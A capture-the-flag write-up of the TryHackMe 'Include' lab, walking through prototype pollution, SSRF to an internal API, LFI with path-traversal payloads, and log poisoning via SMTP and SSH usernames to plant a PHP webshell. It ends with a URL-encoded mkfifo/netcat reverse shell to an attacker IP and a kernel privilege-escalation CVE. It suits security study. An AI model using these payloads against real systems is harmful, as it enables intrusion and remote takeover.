Include

Use your server exploitation skills to take control of a web app. - by 1337rce and l000g1c

The following post by 0xb0b is licensed under CC BY 4.0


Recon

We start with a Nmap scan and have eight open ports. Among them SSH on 22, as well as other email service related ports and two out of the row ports 4000 and, 50000.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ nmap -p- include.thm -T4 
Nmap scan report for include.thm (10.10.77.114)
Host is up (0.034s latency).
Not shown: 65436 closed tcp ports (conn-refused), 91 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
25/tcp    open  smtp
110/tcp   open  pop3
143/tcp   open  imap
993/tcp   open  imaps
995/tcp   open  pop3s
4000/tcp  open  remoteanything
50000/tcp open  ibm-db2

A default script and service scan reveals that there are web services on ports 4000 and, 50000. A Node.js is running on 4000 and an Apache httpd 2.4.41 on 50000. We also see a host mail.filepath.lab.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ nmap -sC -sV -p22,25,110,143,993,995,4000,50000 include.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 20:14 CEST
Nmap scan report for include.thm (10.10.77.114)
Host is up (0.039s latency).

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 30:74:4e:52:28:96:ee:1e:b3:53:1f:c1:25:a8:ad:d6 (RSA)
|   256 49:b1:29:15:ba:92:db:a9:48:65:3d:a0:d5:fa:25:79 (ECDSA)
|_  256 3f:2d:fa:eb:9a:ee:66:a3:bd:0b:f6:9a:89:d0:a5:e6 (ED25519)
25/tcp    open  smtp     Postfix smtpd
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
110/tcp   open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL AUTH-RESP-CODE PIPELINING STLS RESP-CODES TOP CAPA UIDL
143/tcp   open  imap     Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: STARTTLS more IDLE ENABLE Pre-login LITERAL+ have post-login listed SASL-IR LOGINDISABLEDA0001 ID capabilities IMAP4rev1 LOGIN-REFERRALS OK
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: have more IDLE ENABLE Pre-login LITERAL+ AUTH=LOGINA0001 AUTH=PLAIN post-login SASL-IR capabilities ID listed IMAP4rev1 LOGIN-REFERRALS OK
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_pop3-capabilities: SASL(PLAIN LOGIN) AUTH-RESP-CODE PIPELINING TOP RESP-CODES USER CAPA UIDL
|_ssl-date: TLS randomness does not represent time
4000/tcp  open  http     Node.js (Express middleware)
|_http-title: Sign In
50000/tcp open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: System Monitoring Portal
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: Host:  mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.82 second

We use Gobuster to enumerate the directories, but in the meantime we don't find anything interesting on port 4000.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ gobuster dir -u http://include.thm:4000/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://include.thm:4000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/Index                (Status: 302) [Size: 29] [--> /signin]
/fonts                (Status: 301) [Size: 177] [--> /fonts/]
/images               (Status: 301) [Size: 179] [--> /images/]
/index                (Status: 302) [Size: 29] [--> /signin]
/signin               (Status: 200) [Size: 1295]
/signout              (Status: 302) [Size: 29] [--> /signin]
/signup               (Status: 500) [Size: 1246]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

When visiting the index page on port 4000 we find a login form. We can log in with guest:guest.

Before we continue with port 4000, we enumerate the directories on port, 50000. Here we see phpmyadmin as directory. We extend our scan with ending to php using -x .php, but leave it at that for now.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ gobuster dir -u http://include.thm:50000/ -w /usr/share/wordlists/dirb/big.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://include.thm:50000/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd            (Status: 403) [Size: 279]
/.htaccess            (Status: 403) [Size: 279]
/javascript           (Status: 301) [Size: 324] [--> http://include.thm:50000/javascript/]
/phpmyadmin           (Status: 403) [Size: 279]
/server-status        (Status: 403) [Size: 279]
/templates            (Status: 301) [Size: 323] [--> http://include.thm:50000/templates/]
/uploads              (Status: 301) [Size: 321] [--> http://include.thm:50000/uploads/]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================

When we visit the index page, we see that we are dealing with the SysMon app, behind whose login the first flag should be located.

We visit the login page, try guest:guest and some other default credentials, even though this would be far too easy, and are unsuccessful.

From Prototype Pollution To SSRF

We move back to the review app on port 4000 and use the suggested credentials guest:guest.

We successfully log in and are able to inspect our profiles and others.

We can view our profile and recommend activities. When you create an activity, it will be attached. If we change the key value of an activity that we have attached, its value changes and is not reattached. The value values are placed in quotation marks. A sanitization takes place.

The first idea was to work with server side includes, but this was not successful - just because of the name of the room. But while playing around with the ID, I noticed that we had made the profiles inaccessible and after restarting the machine and taking another look, something very obvious I noticed. The isAdmin value is set to false. Even if the values are sanitized and the values are set in quotation marks, try to set it to true.

After setting the isAdmin value to true through recommending an activity, two new links in the header appear API and Settings. This is called Prototype Pollution. Prototype pollution is a security vulnerability where we can manipilate an object's prototype, thereby injecting malicious properties that can propagate to all instances of that object. This can lead to unauthorized access or modification of data, enabling various attacks such as denial of service or remote code execution.

By visiting the /admin/api page reveals to us the internal API endpoints of which one of them discloses the credentials for the SysMon app. Those weren't visible in the Nmap scan, so we have to find a way to make a request through the application, for example.

http://127.0.0.1:5000/internal-api
http://127.0.0.1:5000/getAllAdmins101099991

Next we head to /admin/settings and see we could update the banner image by providing a URL. This begs almost for a try of SSRF. Server-Side Request Forgery (SSRF) is a vulnerability where an attacker tricks a server into making unauthorized requests to internal or external systems. Let's see if we can access the internal API endpoints.

Check out the follwing:

We try the first one http://127.0.0.1:5000/internal-api...

... And get base64 encoded JSON data as a result.

Passing it to CyberChef to decode it, we get the exact same response like in the example of /admin/api.

Next, we make a request to http://127.0.0.1:5000/getAllAdmins101099991...

And are able to retrieve the credentials for the SysMon App.

After logging in...

...We get redirected to dashboard.php and find the first flag.

From LFI To RCE

Upon closer inspection via Burp Suite and the source of the site, we see that the profile image gets loaded via /profile.php?img=profile.png.

We may be able to exploit it using Local File Inclusion (LFI) that allows us to include files on a server, potentially exposing sensitive data or executing arbitrary code.

We use the fuzzer FFuF to efficiently try out a large number of LFI payloads. We use the Jhaddix LFI list. Don't forget the phpsessid to include, since the profile.php page is only available for logged-in users. After a short time, we have a hit with ....//....//....//....//....//....//....//....//....//etc/passwd.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ ffuf -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://include.thm:50000/profile.php?img=FUZZ" -b "PHPSESSID=hh8r2t72iudnok393ov1mh9u6n" -fs 0 


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://include.thm:50000/profile.php?img=FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt
 :: Header           : Cookie: PHPSESSID=hh8r2t72iudnok393ov1mh9u6n
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 39ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 37ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 37ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 38ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 37ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 37ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 36ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 38ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 39ms]
....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 37ms]
....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 38ms]
....//....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 40ms]
....//....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 38ms]
....//....//....//....//....//....//....//....//....//etc/passwd [Status: 200, Size: 2231, Words: 20, Lines: 42, Duration: 38ms]
:: Progress: [922/922] :: Job [1/1] :: 107 req/sec :: Duration: [0:00:04] :: Errors: 0 ::

We can read /etc/passwd. The question for the second flag is about a hidden file in /var/www/html, but we are not able to enumerate the contents of directories with just LFI. So a webshell will probably be necessary. There are all kinds of ways that could be tested, my favorite one is LFI through php filters. Others like including the php session cookie and manipulating its cotent, but those didn't work. A good resource on that topic can be found here:

Another way could be by log file poisoning. Log file poisoning is a technique where we inject malicious input into log files, which can later be executed as code when the logs are processed or viewed. This can lead to Remote Code Execution (RCE) if the malicious input is executed by the system or application reading the logs.

We need to try various log file locations like /var/log/apache2/access.log. Some can be found here:

This can also be a valuable tool to try, but wasn't in the attempt of the challenge:

Log Poisoning Through Mail

Since so many services related to mail are present we try to posing the logs of the mail server.

The other attempt depicts on poisoning the email log instead of the auth.log, but wasn't successful. The following resources were used:

We could assume that the web app is running as www-data.

We connect to the open SMTP service on port 25 and craft and submit a mail and try to find it in the log files. With VRFY www-data@localhost we can confirm that the user is present.

telnet <IP> 25  
EHLO <random character>  

VRFY www-data@localhost  

mail from:0xb0b@thm.com 
rcpt to: www-data@localhost  
data  

Subject: title  

hello you

. 
╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ telnet include.thm 25                                            
Trying 10.10.28.16...
Connected to include.thm.
Escape character is '^]'.
220 mail.filepath.lab ESMTP Postfix (Ubuntu)
EHLO asdf
250-mail.filepath.lab
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
VRFY www-data@localhost
252 2.0.0 www-data@localhost
mail from:0xb0b@thm.com
250 2.1.0 Ok
rcpt to: wwww-data
550 5.1.1 <wwww-data>: Recipient address rejected: User unknown in local recipient table
rcpt to: www-data@localhost
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
Subject title
hello you

.
250 2.0.0 Ok: queued as BFFFEFB21

We then should be able to find the mail log somewhere here: /var/mail/<user>, but neither of the resources in mind lead to anything.

After some more research we could determine the location /var/log/mail.log. This holds the log of our mail attempt.

http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//....//....//....//....//....//var/log/mail.log

We see that the sender of the mail gets reflected.

Let's try to craft a mail with the sender containing the payload. SMTP issues a bad sender address. But maybe this will get logged.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ telnet include.thm 25
Trying 10.10.28.16...
Connected to include.thm.
Escape character is '^]'.
220 mail.filepath.lab ESMTP Postfix (Ubuntu)
EHLO asdf
250-mail.filepath.lab
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250-SMTPUTF8
250 CHUNKING
mail from:<?php echo system($_REQUEST[cmd]); ?>
501 5.1.7 Bad sender address syntax
mail from:'<?php echo system($_REQUEST[cmd]); ?>'@thm.com
501 5.1.7 Bad sender address syntax

In the log, we can see that our sender address is incomplete. It might have worked, cause the PHP code gets evaluated.

We try to list the files in the current directory and find the second flag inside that text file.

Log Poisoning Through SSH

After some further manual attempts, /var/log/auth.log seems promising since it logs also the tried SSH connections. If we are able to craft a malicious payload as the username, we could inject PHP code the log and get it executed. This was the first attempt of solving the machine.

We log in as an arbitrary user with some creds.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ ssh 0xb0b@include.thm                                       
The authenticity of host 'include.thm (10.10.51.221)' can't be established.
ED25519 key fingerprint is SHA256:XIZy1SBMCXIIbBHIJl6jJB0pNbHYc5AFupuSLS6/Ya4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'include.thm' (ED25519) to the list of known hosts.
0xb0b@include.thm's password: 
Permission denied, please try again.

And see the result of an invalid login attempt with our username reflected.

Next, we try to log in with a PHP web shell, but ssh fails us here.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ ssh '<?php system($_GET['c']); ?>'@include.thm                                                                            130 ↵
remote username contains invalid character

To circumvent it, we can either write a script or just use hydra.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ hydra -l '<?php system($_GET['c']); ?>' -p 'asdf' include.thm ssh                                                         255 ↵
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-02 12:49:43
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (l:1/p:1), ~1 try per task
[DATA] attacking ssh://include.thm:22/
1 of 1 target completed, 0 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-06-02 12:49:47

After having planted the PHP web shell via the username, we are able to use it by including /var/log/auth.log and move through the system...

http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log&c=ls

...And are able to retrieve the second flag.

view-source:http://include.thm:50000/profile.php?img=....//....//....//....//....//....//....//....//....//var/log/auth.log&c=cat%20505eb0...1f9123ea.txt

Bonus: Initial Foothold + Privilege Escalation

Like in Bypass https://0xb0b.gitbook.io/writeups/tryhackme/2024/bypass, we can make use of CVE-2024-1086!

This is an exploit that we shouldn't underestimate.

First we craft a reverse shell to get an initial foothold. We are using revshell.com.

This will be the command to use with either of the LFI2RCE options we have:

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.8.211.1%204445%20%3E%2Ftmp%2Ff

We are dealing with the kernel 5.15.0-1055.

╭─xb0b@parrot ~/Documents/tryhackme/include 
╰─➤  $ nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.8.211.1] from (UNKNOWN) [10.10.249.25] 37280
bash: cannot set terminal process group (1202): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

www-data@filepath:/var/www/html$ uname -a
uname -a
Linux filepath 5.15.0-1055-aws #60~20.04.1-Ubuntu SMP Thu Feb 22 15:49:52 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
www-data@filepath:/var/www/html$ 

The POC of CVE-2024-1086 is a promising one. We compile the following and bring that to the machine.

After compiling the exploit, bringing it to the machine and executing it, we become root.

Further Considerations

We have been able to detect protoype pollution on endpoint 4000. After looking at the app.js, PP2RCE could also be possible. Unfortunately, I have not been able to make any progress on this at the moment.

Hacktricks offers extensive resources here:

Last updated